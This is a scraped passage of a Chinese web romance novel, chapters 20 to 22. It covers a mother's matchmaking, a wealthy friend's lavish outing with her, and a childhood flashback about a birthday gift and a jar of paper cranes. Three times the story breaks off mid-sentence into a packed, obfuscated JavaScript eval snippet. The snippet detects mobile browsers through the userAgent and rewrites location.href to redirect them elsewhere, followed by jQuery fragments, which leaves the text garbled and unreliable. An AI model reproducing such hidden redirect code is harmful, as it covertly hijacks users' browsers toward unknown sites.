“那个什么,我寻思,撮合一下小薛和周墨呢。哎,这疯丫头天天就知道干事业,也老大不小的了,与其出去和其他人相亲,不如找周边认识的,你帮我打听打听小薛的情况呗?也给小墨把把关!” 20. 020 朱美丽这番话说完,对面沉默良久。 “喂?小远?小远你听得见么?没信号了么?” “丽姨,我在呢!我刚刚去帮您打听了一下,刚才我说错了,才知道小薛他已经有女朋友了!” 周美丽如遭雷击,“啊?有女朋友了啊……” “是啊,我一直不太关心员工私生活,这不是您问起来,我才去问的。” “问的他本人呀?”朱美丽贼心不死。 “啊……是啊。” “哎,那太可惜了。” “就是呢……太可惜了……” 朱美丽的捉婿行动,就这么出师未捷身先死了。 第二天周墨没出门,在线上和公司的人开了个会,结果陈总的物资又送来了。 只不过这次送物资的人不再是薛特助,换成了陈总本人。 “哎哟,稀客啊,陈总百忙之中还亲自来送东西。”周墨倚着门框,阴阳怪气地挤兑道。 朱美丽也很意外,“小远来了?薛特助不是说你要出差一个月么?” “这不是忽然谈完了事么,想着您在北京也待不了几天,赶着回来多陪陪您。” 陈向远照旧是一身顶奢高定,蓝色印花衬衫配墨绿领带,牛仔夹克是骚粉色的,下面穿着英伦风格子灰呢裤,耳钉戒指项链一样不落,都是大牌珠宝高定。 周墨看得唏嘘不已,觉得他画个眼线再涂个口红,可以直接去开演唱会。 朱美丽对陈向远的熟悉程度仅次于徐子衿,看他也亲切,听他嘴这么甜,自然欢喜。 “那敢情好了,只要不耽误你工作,就一直在家里待着,想吃什么和我说。” “那肯定,不跟您客气!”陈向远笑着凑到朱美丽身后,忽然拿出几张纸片片,“丽姨,您看这是什么?” 朱美丽老花眼,眯着眼将陈向远的胳膊往远推了推,才看清楚那是什么:“哎呀,这是德云社的票啊?!” 陈向远献宝一样,“您不是喜欢听德云社的相声么,我让朋友给弄了几张前排的座儿,今晚上咱仨一起去,行不?” “行啊!可太行了!”朱美丽高兴得直拍大腿,乐得后槽牙都能看见。 周墨拍了拍朱美丽肩膀,“您这人缘可以啊,来北京一趟,都是最高规格的招待。” “那你看看,就这么有人格魅力。” 演出是晚上七点半的,从周墨家开车过去,算上堵车得一个小时,陈向远算了算时间,强行制止了朱美丽下厨,嚷嚷着出去吃。 “哎,我这木耳都泡上了……”朱美丽还想挣扎一下。 “明儿个再吃,我饭店都定好了。”陈向远不由分说将她身上的围裙摘掉。 “子衿晚上还要回来吃饭呢……” “让他自己解决!等您做饭,咱这德云社的相声可就看不着开头了哈。” 这话彻底说服了朱美丽,她嘱咐了周墨一句,让她跟徐子衿说一声,然后美美地去梳洗打扮去了。 身为知名败家子,陈向远豪车无数,今天他开的是一辆宝马i8,算是他所有车里相对便宜低调的,不过此时这辆车贴的是粉色车膜,和他的衣服几乎同一个颜色,又和低调两个字不沾边了。 周墨已经见怪不怪,对于陈向远来说,给车换外观就像给手机换壳一样简单,他经常会随着自己的心情和每日穿搭,给自己的爱车也更换不同颜色。 朱美丽第一次见蝴蝶门,上车的时候着实惊了一下。 “哎呦,这车门子咋还开到天上去了?” “帅吧!”陈向远相当得意。 周墨一瞬间幻视小时候看的一部国产木偶动画片,她觉得陈向远这一刻,活像里面那只向别人炫耀自己项链的小孔雀。 想着想着,她就忍不住笑出了声,决定以后不叫他陈二狗,应该改叫陈孔雀。 朱美丽十分勇于接收新鲜事物,伸手在那车门边缘摸了摸,给出个结论:“这车冬天估计不能开回滨城,车门子都给你冻住了。” 陈向远殷勤护送着朱美丽上车,拍胸脯道:“您放一万个心,回滨城我不开它,咱换个路虎揽胜。” 陈向远选饭店和他选车风格差不多,追求的只有两样:要贵,要花哨。 周墨看了眼他的导航目的地,是一家怀石料理,她有所耳闻,据说人均消费七千。 她觉得有点太破费了,正想说什么,却被陈向远竖起食指做了个噤声的动作。 他冲她眨眨眼,“这里的主厨我认识,我带你们去吃打一折,这便宜不占白不占嘛。” 见周墨还在迟疑,陈向远又道:“已经定了位置,不去的话定金都白交了,媳妇儿~” 最后一个词,他没发出声,只是一脸坏笑地做了个口型。 周墨做了个要爆锤他的假动作,最后没再说什么,由他去了。 朱美丽对日料兴趣不大,但也看得出来,这顿饭的精细繁琐。 陈向远看出她担心价格太贵,又不好意思问出口,结账后主动给她看账单:“您看,不贵,咱们三个人才四百多,都说了打一折嘛。” 朱美丽这下放心了。 三人离开包厢后,负责收拾的服务员小声八卦。 “刚刚那个不是小陈总么?他点了什么,才四百多?” “怎么可能四百多,就结了个前菜,其他都记账了。” “这是做什么啊?” “没看出来么?哄那位长辈开心呗。” “也不知道那位是什么身份,居然能让小陈总这么放低身段……” 去停车场的路上,周墨刻意让朱美丽走到前面,自己落后和陈向远并排。 “我说陈向远,你现在扯谎能力越来越强了啊。” “怎么了?”陈向远还在装无辜。 “你当我是傻子么,那账单上就一道菜,还说什么一折,也就能糊弄糊弄朱美丽。” 陈向远不在乎地笑了笑,“哎,这不怕她老人家心疼么,丽姨那么节俭的一个人,要知道我一顿饭炫嘴里一两万,还不得把我腿打断了,骂我是败家子?” “你知道她会心疼,还带她来这里。” “因为想让咱妈体验最好的嘛。”陈向远说着,忽然转过头来看周墨,“你们都值得最好的。” 周墨习惯了陈向远没正形的样子,忽然这么严肃地看着她,让她觉得有点别扭。 “跟谁咱妈呢,你别套近乎啊。” “本来嘛,咱们是两口子,你亲妈不就是我亲妈。” 陈向远似乎预料到说完这句话会被周墨打,所以说完了就跑,一溜烟窜到周美丽身边,挎住她的胳膊,回头冲周墨做了个鬼脸,颇有些狐假虎威的意思。 周墨气得直磨牙,伸手做了个抹脖子的动作。 她也就忍他这几天了,等朱美丽回老家,她拖也要将这祸害拖去民政局离婚! 德云社的相声质量有保障,路人都能看得进去,更别提朱美丽这样的骨灰粉了。 所以一整晚朱美丽兴致都很高,回家的一路都哼着小曲儿。 车子停在单元门口,周墨正想下车,陈向远说:“周墨,你先等等,我有事儿给你说。” 朱美丽道:“那我先上去,小远回去开车注意安全,可别太快了!” “知道了丽姨,您放心吧!”陈向远冲朱美丽乖巧地挥手。 周墨以为陈向远终于良心发现,想要跟他商量离婚的事。 谁知陈向远等朱美丽的身影彻底消失在单元门里,忽然一脸严肃地说:“周墨,我有个事要问你。” 周墨:“什么事?” 之前朱美丽一直坐在副驾,周墨在后排。此时陈向远为了表示郑重,几乎整个人转过身。 黑夜里,他那张精致漂亮的脸,让他几乎有一种雌雄莫辩的美,没有了平日惯常的嬉笑懒散,周墨才发现,原来他的眼神也可以这样慑人,有力量。 “你还记得你那罐千纸鹤么?就是咱俩第一次见面的时候,我给你抢走的那罐千纸鹤。” 周墨微微一愣,“你问这个做什么?” 陈向远:“后来我怎么再也没见过了,你那罐千纸鹤放哪里去了,是送人了么?” 周墨移开视线,慢吞吞说:“哦,好像是吧。” 陈向远语气却有些焦躁:“送谁了?” 周墨:“早就不记得了。” 陈向远紧追不舍:“是送林跃琮了么?还是送徐子衿了?” “关你什么事,那是我的,我送谁都行。”周墨就是不正面回答。 陈向远有些委屈:“为什么不送我?早知道……早知道……” 周墨:“早知道什么?” “早知道你会送人,当初就不还给你了!” “哈,你还好意思说啊?”周墨一想起这个就来气,打开车门下车,“你没别的事我就走了,拜拜!” 其实如果不是陈向远提起那罐千纸鹤,周墨都要忘记那件事了。 在如今看来,那只是一件微不足道的小事,在周墨整个人生里,甚至连一片小小的涟漪都算不上。 可对于当年的她来说,那是让她金钱观重塑的一天。 在大部分孩子对金钱还没有实感的时候,周墨第一次意识到贫富的差距,阶级的差距,以及……在同学出身都是非富即贵的国际班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152847|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己是个多么异类的存在。 那是小学一年级的下学期,放暑假之前的一个礼拜,陈向远向全班同学发出邀请,说他周末过生日,邀请大家去他家开party。 受外教的影响,在那个大部分人还不知道什么叫party的年代,国际班的小学生们已经对party文化十分熟悉了。 因为每逢各大西方节日,比如圣诞节,感恩节,万圣节,外教Alex都会在课堂上带着他们开party,不仅会布置教室,还会给他们也装扮上,可谓仪式感满满。 作为第一个生日趴的主办人,陈向远自然是风光无限,一时间大家下课后讨论最多的就是他的生日。 有人好奇问:“陈向远,你让我们都去,你家挤得下么?” 虽然国际班的小孩家境都不差,但是当年家里能住得起别墅的还是寥寥无几。 还不等陈向远自己开口,就有人帮忙解释:“陈向远家在锦上花园,是个大别墅,肯定能把我们都装下呀!” “哇!原来住在锦上花园呀!好厉害!” 彼时的周墨还不懂,住在锦上花园有什么厉害的。 她此刻在为另一件事烦心。 其实她不太想去陈向远的生日party,她并不喜欢陈向远,可她知道,如果自己不去,朱美丽一定要批评教育她,同学也会觉得她很奇怪,毕竟大家都已经举手报名了,总不能全班同学都去了,只有她这个陈向远的同桌缺席吧? 周墨觉得,自己还是很懂人情世故的! 既然要去,就要准备生日礼物,这礼物不能太随便,但是太贵的礼物她又买不起。 周墨整整一个星期,一到午休就跑出学校,将学校周围所有的小卖部和文具店都跑遍了,几经衡量,她看中了一本带锁头的套壳笔记本。 她一直都想买一个这样的笔记本,但是太贵了,要十几块钱,对于每周零花钱只有两块的她来说,这样一个本子实在有点奢侈。 但毕竟是生日礼物,总要比普通的礼物贵重一些的,所以周墨虽然心在流血,还是咬了咬牙,将这个本子买了下来,并且额外花了五毛钱,选了一张蓝色的包装纸,让店铺老板帮忙打包,上面还粘了个蓝色蝴蝶结拉花。 她隐约记得陈向远说过,他最喜欢的颜色是蓝色。 真是便宜这个大坏蛋了! “周墨,你肯定会去的吧?” 本学期最后一堂美术课上,老师要求每个人画一幅画当做期末考试,陈向远随便鬼画符就画完了,趴在一旁闲得无聊,就开始第一百遍和周墨确认。 “我去的话,你会把我的千纸鹤还我么?”周墨问。 陈向远咧嘴嘿嘿一笑,“不会。” “那不去了!”周墨生气。 刚好笔记本她自己留着! 陈向远不紧不慢地说:“你不去的话,我就去找丽姨,说你欺负我,不仅平时就总是打我,踹我,用笔头戳我,还不参加我的生日party。” 周墨不吭声了,恨恨地在本子上,给自己画的房子涂颜色。 陈向远见她不说话,用胳膊肘轻轻碰了碰她。 周墨抱着本子往旁边移开一点,不让陈向远碰到她。 陈向远眼珠转了转,从书包里摸出来一样东西,金灿灿的像发簪一样。 “去嘛,你去的话,我把这个送你怎么样?” 周墨瞥了眼,哼了一声:“不稀罕。” 其实她哪里是不稀罕,她明明喜欢死了! 那是一根钩式书签,听说是陈向远爸爸的朋友从香港带过回来的。书签外面镀了一层纯金,弯钩过来的样子是一颗心,插在书立,黄金心刚好可以卡在书脊外面,漂亮极了。 陈向远第一次拿来学校的时候在周墨跟前显摆,见周墨喜欢就让她玩。 周墨将书签带回家,被朱美丽发现,非常严肃地给她讲了两个道理:一个叫无功不受禄,另一个叫拿人手短吃人嘴短。 周墨心里很不服气:“那陈向远还拿了我的千纸鹤呢!” 朱美丽摸了摸她的头,说:“小墨,那不一样的,这个书签很贵的,你不能拿。” 她的千纸鹤也很珍贵的!! 尽管周墨还是很不爽,但她知道朱美丽总不会是错的,所以第二天就把书签还给了陈向远。 陈向远见拿这个书签都没法诱惑周墨,黯然伤神了好久,带着几分委屈,用那双水汪汪的狗狗眼望着周墨:“那,你真的就不去了嘛?你可是我的同桌诶!去嘛去嘛!” 周墨要被他烦死了。 “哎呀,去去去,去还不行么!躲开点,你压到我的画了!!” 21. 021 总算是到了陈向远生日这天,身为小寿星,他竟然穿了一身西装,领着同样人模狗样的陈向朗,一早就站在别墅院门口“接客”。 周墨拿着自己准备的礼物登门,找了一圈,没看见陈向远的妈妈。 “阿姨呢?不在家么?”周墨还想打招呼来着。 陈向远随意摆了下手,“去打麻将了,快进去吧,好多人都来了!” 周墨走进别墅,见客厅的长餐桌上已经堆满了礼物。 她将自己准备的礼物也放了上去。 陈向远和陈向朗的妈妈叫朱艳,也是很巧,和朱美丽同姓。 住在锦上花园里的孩子们都知道,小区里有两个朱阿姨,一个很会做饭,一个很会打麻将。 周墨几乎很少看见朱艳阿姨在家,陈家兄弟经常会被丢到他们家写作业。 只是她没有想到,陈向远过生日当天,朱艳阿姨竟然没有陪着他。 至于陈向远的爸爸,那位传说中的陈叔叔,周墨更是在这里住了近一年都没见过人影,据说是个非常能赚钱的大老板,每天坐着飞机全国各地飞。 反观陈向远,似乎并没有因为父母的缺席而感到难过。 朱艳雇了个办婚宴的团队来给儿子过生日,还提前让人买了很多肯德基打包回来。 对于别墅里的小朋友们来说,一个没有大人管束,只有美食和动画片的大房子,简直就是天堂。 一群孩子几乎玩疯了,将别墅造得不成样子,没有人关心果汁是不是弄脏了精美桌布,也无人在意昂贵的花瓶被打碎。 吃饱喝足后,生日party也终于来到最期待环节——拆礼物。 陈向远站在餐桌边,所有人都围过来,带着兴奋和好奇,想知道别人送了什么礼物。 周墨这时还没有意识到什么,也跟着大家一起过来,见陈向远左看右看,选了一件个头最大的礼物。 这无疑是所有礼物中最显眼的,还不等陈向远拆包装,就有人跳出来认领了。 “这是我送的!我特意让我爸托人从日本带的,陈向远你快拆开看,我敢保证你肯定喜欢!”说话的男生叫曲飞,平时和陈向远玩得很好,家里也是做生意的,似乎和陈家是合作伙伴。 有了这个预告,大家更期待了,一双双眼睛目不转睛盯着礼物被一层层撕开,最后露出里面的神秘真容—— “哇!!变形金刚!!!” 男孩子们齐声喊了出来,又激动又艳羡。 “我还从没见过这么大的变形金刚呢!” “当然了,这个大小,国内没有卖的!只有日本有!”曲飞得意地说,又看陈向远,“怎么样?够意思吧?” 陈向远显然也很喜欢,跟曲飞碰了个拳头,“太够意思了!” 接下来第二件礼物,竟然是一把小提琴。 这次没有人出来主动认领了,但是大家看到小提琴的第一时间,全都将目光投向同一个人——班长魏婷婷。 众所周知,全班只有魏婷婷会拉小提琴,她妈妈就是很厉害的小提琴家,经常全国各地巡演。 就连朱美丽这样不太关注艺术领域的人,都在电视上看到过魏婷婷妈妈的《梁祝》演奏。 魏婷婷见大家都看自己,非但没有不好意思,还很落落大方地走上去,对陈向远说:“这把小提琴和我平时用的是同一个款式。” 陈向远抓了抓头,“可是我又不会拉小提琴。” 魏婷婷微笑说:“没关系,你可以留个纪念,挂在墙上当一个装饰品也不错。我妈妈说了,每一个人都有爱上小提琴的契机,或许在未来的某一天,你也会爱上小提琴,到时候就能用上它了。” “行,行吧,谢谢你。”陈向远似乎接受了这个说法。 “不客气,祝你生日快乐。” 男生们大声起哄,叫嚷着“结婚”“结婚”,周墨第一次看到陈向远羞了个大红脸,反倒是魏婷婷十分淡定从容。 毕竟她从入学第一天开始,就凭借一曲《茉莉花》演奏,成了全校师生心目中的仙女,暗恋她的男生没有一千也有一百。 陈向远继续拆礼物,几乎每一样拿出来,都是普通孩子见都没见过的新鲜玩意。 林跃琮人未到,礼物却早就让人送了过来,是一套GameBoy掌机,还是彩色版的。徐子衿平时和陈向远不太对付,送出的礼物却不含糊,是一套索尼CD盘随身听。 在场的小学生心情都是无比雀跃的,只有一个人例外。 随着桌子上的礼物越来越少,周墨开始变得如坐针毡。 有了其他人礼物的对比,她几乎不敢想象,自己那个十几块钱的笔记本被拆开后,大家会是什么反应。 她甚至后悔自己不应该带礼物过来,这么多礼物,少她一个估计也不会有人发现,可偏偏她就那么傻,非要学着别人的样子,把礼物放到餐桌上。 终于,陈向远手摸向那件包装着蓝色花纸的礼物。 “等一下!”周墨突然出声,瞬间吸引了所有人的注意力。 她抢在陈向远拆礼物之前,一把将东西抢过来。 “我送错了,这不是你的生日礼物。”周墨拿了礼物就想跑。 “怎么可能送错呢,这上面写着我的名字呢!”陈向远却一把抓住她手腕,将礼物抢了回去。 “还给我!”周墨再次伸手去抢。 陈向远以为她就是反悔,不想送他礼物了。 这抠门同桌好不容易才送他一样礼物,怎么能让她再拿回去? 于是陈向远用最快的速度将包装纸拆开,露出里面一个平平无奇的带锁笔记本。 “什么嘛,就一个破本子……” “怎么送这个呀?这种东西也能被当成生日礼物送么?” “周墨家不是也住在锦上花园么,她家应该很有钱吧?” “哎,我听说,她妈妈其实是在锦上花园里做饭的。” “啊?那不就是保姆阿姨?” “什么什么?周墨是陈向远家保姆的孩子? 周墨听见周围同学的窃窃私语,脸滚烫,连同耳朵尖都红得透出血色。 她不知道该如何应对眼下的情况,只觉得所有人都在看她,在议论她,嘲笑她。 她也不知道该如何形容眼下的心情。 相比于羞愧,她心中其实更多的是委屈和愤怒。 什么叫一个破本子? 那也是她省吃俭用买下来的,是她想要好久,却舍不得给自己买的。 陈向远也愣住了,他似乎完全没想到,自己的生日宴上会收到这样的东西作为礼物。 一时间别墅里安静得落针可闻,直到陈向朗奶声奶气的声音响起。 “哥,周墨不是说她送错礼物了吗?这个肯定不是给你的,你让她赶紧回去拿给你的礼物呀,反正朱阿姨家离我们很近!” 陈向朗睁着一双懵懂天真的眼睛。 毕竟比其他人小了两岁,他是真的信了周墨的话。 可是周墨和陈向远的同学们,其中不乏个别早慧的,比如徐子衿和魏婷婷之流,都看出了端倪。 这还有什么看不出来的? 这本子就是周墨给陈向远的生日礼物,只不过有了其他人的礼物作对比,她觉得这东西实在拿不出手,这才谎称拿错了。 如果真的要她回去拿,她怕是什么都拿不出来的。 周墨双手攥成拳,嘴巴抿得紧紧的。 她眼泪窝子浅,动不动就哭。 可朱美丽说过,无论面对什么人,都要大大方方的,不羡慕别人有,也不笑话他人无。最重要的,越是害怕难过越不能哭,眼泪只能留给最亲近的人,因为只有爱你的人才会心疼。 对外人来说,没人喜欢爱哭鬼。 “陈向远,你真讨厌。我讨厌死你了!” 周墨愤愤地留下这一句,就扭头跑了。 她做到了,在离开陈家的别墅后,眼泪才夺眶而出,没让任何人看到她哭。 陈向远完全懵了,他甚至不明白发生了什么。 徐子衿目光追随着周墨离开,脚下动了动,似乎有那么一瞬很想追出去,最后却还是放弃了。 陈向朗抬头看着他哥,莫名其妙地问:“哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158002|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她咋了?咋突然骂你?” 他怎么知道…… 今天他过生日诶!居然说他讨厌,他又没招惹她…… 陈向远暴躁地抓了抓脑袋,摆弄着手中的笔记本。 他将本子从套壳中拿出来,翻开,见扉页上居然写了一句话—— 祝同桌陈向远: 岁岁年年,平安喜乐。 同桌周墨。 陈向远:“……” 搞什么嘛,这明明就是送给他的礼物呀! 正想将本子塞回去,夹缝处却掉出来一张卡片。 陈向朗跑过去捡起来,盯着卡片看了半天,忽然爆发出尖锐爆鸣。 “哥!哥!是有边的棒球霹雳虎!棒球霹雳虎!!!!!啊啊啊啊啊!!!!!” 女孩子们听得一头雾水,男孩子们一听到这里全都沸腾了。 有边的棒球霹雳虎!这可是小虎队旋风卡里最最最最稀有的! 回想无数个日夜,陈向远和陈向朗在家里吃小虎队干脆面吃到吐,都没拆出这张卡。 陈向朗没长全的脑子,管不住牙没长全的嘴巴,他大喊道:“我宣布!这就是今天我哥收到的最好的礼物!” 不是所有小孩子都不懂人情世故。 但陈家兄弟,无疑是其中之二。 男生能理解有边旋风卡的含金量,所以倒是没觉得有什么心理落差。但是那些花了大价钱送礼物的女生,心中难免不太平衡。 尤其是魏婷婷,无论在哪里,她已经习惯了成为焦点,如今风头被一个不在场的人抢了,觉得好没意思,就提前回家了。 和她关系好的女生们,也都纷纷告辞。 徐子衿要回去练习钢琴,临走前拍了拍陈向远的肩。 “你不去找周墨么?她刚刚看起来快哭了。” 周墨离开陈家别墅后,并没有直接回家。 她还没有想好该怎么跟朱美丽解释她会哭。 她在小区内转悠,向着离家相反的方向走,坐在路边的花坛上。 眼泪啪嗒啪嗒地掉。 “呦,这是谁呀,哭得这么伤心。” 周墨抬头,看到林跃琮。 刚刚没注意到,他居然一直躺在花坛内的树荫凉里。 她没理他,擦了擦眼泪起身,准备换个地方哭。 林跃琮却道:“要不要我给你讲个有趣的故事?” 周墨没吭声,不过倒是不急着走了。 林跃琮的声音不急不缓,发音标准,像广播里的主持人。 “从前,有一个人鱼公主,她在海边,看到了一位王子……” “海的女儿,我听过了。” “不是那个。” “人鱼公主当时正在伤心流泪,她的眼泪掉进海水里,变成了一颗一颗的珍珠……” 嗯,的确不是海的女儿。 周墨听得认真起来。 “然后呢?” “然后啊,王子看到公主在哭,就问她:这是谁呀,哭得这么伤心。人鱼公主说,我是海底王国的人鱼公主。她还给王子看了自己的鱼尾。” “后来呢?” “后来,王子叫来渔夫,把人鱼公主从海里打捞出来,然后给她关在笼子里,天天欺负她,让她不停哭,这样就可以得到好多好多的珍珠了。” “……” 印象里,这好像是林跃琮给周墨讲的第一个“童话故事”。 不过周墨听完这个故事后,竟然再没有了哭的冲动。 回到家的时候,朱美丽甚至没发现她有什么异状,还问她今天参加生日party开不开心。 周墨蔫蔫的,直接回了自己的房间。 没多久,朱美丽却来敲她房门,说陈向远来找她。 “我不想见他。”周墨拒绝得果断。 朱美丽还没说话,陈向远已经不请自入,追着跑了上来,一边跑还一边喊:“周墨!周墨!你别生我的气了,你看我给你带了什么?” 陈向远一路跑得脸红红的,他冲进周墨的房间,怀里抱着一样东西,正是周墨那罐千纸鹤。 22. 022 为了拿回自己的千纸鹤,周墨没少费心思。 她想过威逼,利诱,暴力镇压,可陈向远就像滚刀肉一样,要杀要剐要命一条,就是不把千纸鹤还给周末。 周墨无数次被气哭后,跑去小卖部买了一包小虎队干脆面,拆包装之前默念了一百遍,她要抽到最稀有的卡片,气死陈向远。 大概是她的怨念太强,竟然真的一击即中,抽到了陈家兄弟最想要的旋风卡卡面! 第二天,周墨就迫不及待地揣着旋风卡去和陈向远“谈判”去了。 陈向远在看到她手中卡片时,眼睛差点瞪出来。 “你,你是怎么弄到这个的?!” “这你别管,反正你如果想要,就拿我的千纸鹤来换!” 陈向远的眼睛都快黏上去了,用力吞了一下口水,似乎耗尽全部意志力,才艰难吐出两个字:“不换。” 周墨想不通,“为什么?!你不是很想要这个吗?” “那也不换。” “……” 所以当周墨看到陈向远抱着那罐千纸鹤出现在自己面前时,说不震惊是不可能的。 他那么想要的旋风卡,用来换千纸鹤都不行,如今旋风卡都送给他了,怎么反倒愿意将东西物归原主了? 周家别墅的院子里有一个木秋千,此时周墨就坐在上面,抱着双臂不说话。 陈向远蹲在一旁,眼巴巴瞅着她,像只可怜的小狗。 周墨一想今天是他生日,大人有大量开了尊口:“你不是说,千纸鹤早就丢了么。” 陈向远瘪瘪嘴,“你那么讨厌我,我怕再不还给你,你以后就再也不理我了。” “之前我用旋风卡和你换,你不是都不愿意换吗?” 陈向远垂下眼,支支吾吾半天,才小声道:“我怕将千纸鹤还你,你以后就再也不理我了。” 周墨实在无法理解陈向远的脑回路。 “你还给我,我怎么会不理你?” “因为你以前从来不和我说话的,只有在提到那罐千纸鹤的时候,才会理我。” “我有吗?” “当然有!” 周墨是个记仇的人,一开始真的很讨厌这个同桌,可是时间久了,好像也没有很讨厌他了。 “那你还把千纸鹤还给我,不怕我不和你说话了?” “那你以后会不和我说话吗?” “当然不会了。” 陈向远一下高兴起来,想了想,又问:“那你为什么要把旋风卡送给我?说不定你拿这个去找阿朗,他就会偷偷把千纸鹤换给你了。” 这其实正是周墨的下一步计划,她准备假期挑个陈向朗落单的时候下手来着。 可最后为什么还是把旋风卡送给了陈向远呢? “因为妈妈说,给人选礼物的时候,最重要的是真诚啊。” 而那张旋风卡,是周墨能想到的,送给陈向远最真诚的礼物。 夕阳越过别墅院墙,烤得人暖洋洋的。 周墨半眯着眼,坐在秋千架上晃啊晃,像只慵懒又舒服的猫。 陈向远背对着夕阳,本应是看不到晚霞的。 可他觉得,今天的晚霞好美。 “那我走了,阿朗还在家里睡觉,我怕他醒了找不到我会害怕。”陈向远站起身,准备回去。 周墨叫住他,“你等一下。” 她进别墅内,很快又出来,手里多了一根蜡烛。 “我今天不该说讨厌你的,现在赔你一个生日愿望当做补偿,就算扯平了好不好?” 她不太熟练地用打火机将蜡烛点燃,示意陈向远许愿。 陈向远盯着那燃烧的烛火,愣了一下。 那一瞬间,他脑子里闪过很多很多的愿望,比如希望下一个生日爸爸妈妈可以陪他一起过,比如希望这学期期末考试可以考得比徐子衿好,这样周墨以后有不会做的题就可以找他问了…… 可是最后,脑中诸多场景,却定格在一个笔记本的扉页上。 陈向远闭上眼,学着那扉页上写的祝福语,许下自己最珍贵的生日愿望—— 希望我的同桌周墨: 岁岁年年,平安喜乐。 陈向远。 …… 周墨从电梯出来,发现徐子衿正在家门口等着她。 “哥,晚上吃了吧?” 原本她只是形式意义上地问候一下,谁成想徐子衿却认真了。 “没吃。” 周墨沉默片刻,“不饿?” “饿。” “……” 周墨算是看出来了,徐子衿似乎在闹情绪。 总不会是因为朱美丽女士跟着陈向朗出去吃大餐,放了他鸽子而吃醋吧? 周墨拿出手机,“我给你叫个外卖,这附近好吃的店我都收藏起来了。” 徐子衿抓住她的手,直接拉着她往电梯走。 “不想吃外卖,陪我出去吃。” 两人下楼,陈向远已经离开了。 见徐子衿开车,周墨问:“不在家附近吃么?” 徐子衿探身过来打开副驾驶的门,示意周墨上车。 上一次周墨随随便便上别人的车,被拉到海边吹了一晚上的风。 但是周墨明显对徐子衿的信任度更高,没有多问就上了车。 系安全带的时候,周墨忽然萌生出一个神奇的念头。 她觉得自从追尾林跃琮开始,这些天似乎一直辗转于不同人的车子,从林跃琮,到陈向朗,再到陈向远和徐子衿。 可她真正喜欢的,是方向盘在自己手里的感觉。 在她眼里,无论是库里南,路虎,宝马i8,还是此时的奔驰S320,都不及她的小凯越美丽又迷人。 徐子衿将车子开到地方,周墨一看店面名字,十分意外。 “这不是你回国那天我请你吃的烤肉?” 徐子衿淡淡嗯了一声,“这两年每逢重大日子,我都来这儿。” 周墨迅速捕捉到了关键信息。 她就像每一个被女朋友问起“今天是什么日子”的渣男一样,大脑CPU开始飞速调用。 徐子衿见她眼睛叽里咕噜一顿乱转,一贯紧绷的唇线,终于掠起浅淡的笑意。 “别想了,不是什么纪念日。” 周墨松了口气,“吓死我了,我刚刚连检查都想好怎么写了。” 徐子衿要笑不笑地哼了一声,“在你心里我的气量就那么小?” “怎么可能,我哥宰相肚里能撑船。”周墨嘴上这样说,心里却有个小人儿在疯狂点头。 徐子衿的父母双双跳楼自尽,有相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192647|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当长的一段时间,他的精神状态都不是很好。自从他被周家收养,就成了周家上下精心保护的“玻璃娃娃”。 特别是各种纪念日,比如他父母的生日,忌日,各种祭奠扫墓日,他自己的生日,甚至就连他的高中毕业日,大学毕业日,硕士毕业日,朱美丽都记得清清楚楚。 周墨在朱美丽的影响下,也对这位特殊的哥哥呵护备至,生怕碰碎他的一颗七窍玲珑心。 也许现在的徐子衿早已不再需要这些,但是这么多年,周墨早就养成了习惯。 这家烤肉店非常火爆,之前每次周墨来都要排队好久,而且不接受预定。 但是不知道徐子衿发挥了什么超能力,竟然订到了一个包厢。 两人入座,徐子衿翻开菜谱,语速极快地点菜,几乎没有任何犹豫和思考,无一例外都是周墨爱吃的。 “我吃过了。”周墨赶紧强调。 徐子衿冷峻的眼抬也不抬,又点了周墨爱喝的洛神果茶。 他将菜谱交还给服务生,面无表情道:“陈向远带你去吃的东西,能吃饱就怪了。” 似乎是为了应景,周墨的肚子适时地叫了一声。 回想在那家怀石料理吃的东西,每个盘子里一小口,猫食一样,确实中看不中用。 周墨有点难为情,做了个鬼脸缓解尴尬。 两人吃烤肉的分工向来明确:徐子衿负责烤,周墨负责吃。 滋滋冒油的烤肉蘸着辣酱包在生菜叶里,塞进嘴里那一刻,味蕾得到无与伦比的满足。 “所以哥哥,今天到底是什么重大日子?”周墨嘴巴鼓鼓地问。 徐子衿抽了一张纸巾,伸过来给周墨擦嘴巴上的酱汁。 周墨很配合地往前凑了凑。 “也算不上什么重大的日子。公司一直在开发的推荐引擎,今天技术难题突破了,本来想晚上回来跟你和妈一起庆祝一下。” 周墨心里有点过意不去,“对不起呀,要是你早点说,我和妈就不跟陈向远出去玩了。” 徐子衿却道:“陈向远的便宜,不占白不占。怪我这两天事情多,也没能陪妈在北京好好玩一玩。” 